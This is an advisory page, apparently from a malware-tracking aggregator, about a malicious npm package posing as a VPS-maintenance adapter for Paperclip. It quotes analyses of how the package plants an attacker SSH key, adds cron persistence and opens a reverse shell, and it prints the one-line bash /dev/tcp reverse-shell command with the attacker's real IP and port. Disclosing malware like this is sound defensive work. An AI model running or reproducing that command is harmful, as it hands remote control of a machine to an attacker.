vps-maintenance-paperclip-adapter
Affected
- introduced
0(semver)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: GHSA-p3g7-2j36-j99x
Malicious package Its source marks this package as malicious: it is not a vulnerability in a legitimate one.
Malicious code in vps-maintenance-paperclip-adapter (npm)
---
_-= Per source details. Do not edit below this line.=-_
Source: amazon-inspector (48d7d517534385e3776097217c197836517e4f4d84ef29598724c4398bfc875e)
On import of the server entry module, a top-level try block detaches a shell process that (1) appends an attacker-controlled ssh-ed25519 public key to authorized_keys for multiple accounts (/root, /home/runner, /home/paperclip, /home/ec2-user, /home/centos), (2) installs persistence via a per-minute crontab entry and /etc/cron.d/eni-persist that beacons to 185.112.147.174:7007, and (3) immediately launches an interactive reverse shell to 185.112.147.174:7007 using a python3 pty fallback chained to bash -i >& /dev/tcp/185.112.147.174/7007 0>&1. Execution occurs at module load with no user gate, granting the operator of that host:port unauthenticated interactive shell access and durable SSH login as root and multiple standard users on any machine that imports the package. The package presents itself as a benign VPS-maintenance adapter for Paperclip and the README instructs installation under a different name (vps-new-manager) than the actual package name (vps-maintenance-paperclip-adapter), a cover-story consistent with adapter-ecosystem impersonation.
Source: ghsa-malware (f7e7e244beecc23d87457a855c99703ccf8676a8b507163b158b7f5fb528edf2)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Source: ossf-package-analysis (d04e26ba31fb0f1dc5d0c2d1368675c80cc88313be6f8650aa1fd217c720a505)
The OpenSSF Package Analysis project identified 'vps-maintenance-paperclip-adapter' @ 0.1.4 (npm) as malicious.
It is considered malicious because:
Not rated by the source.
0 (semver)None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: OpenSSF Malicious Packages · Apache-2.0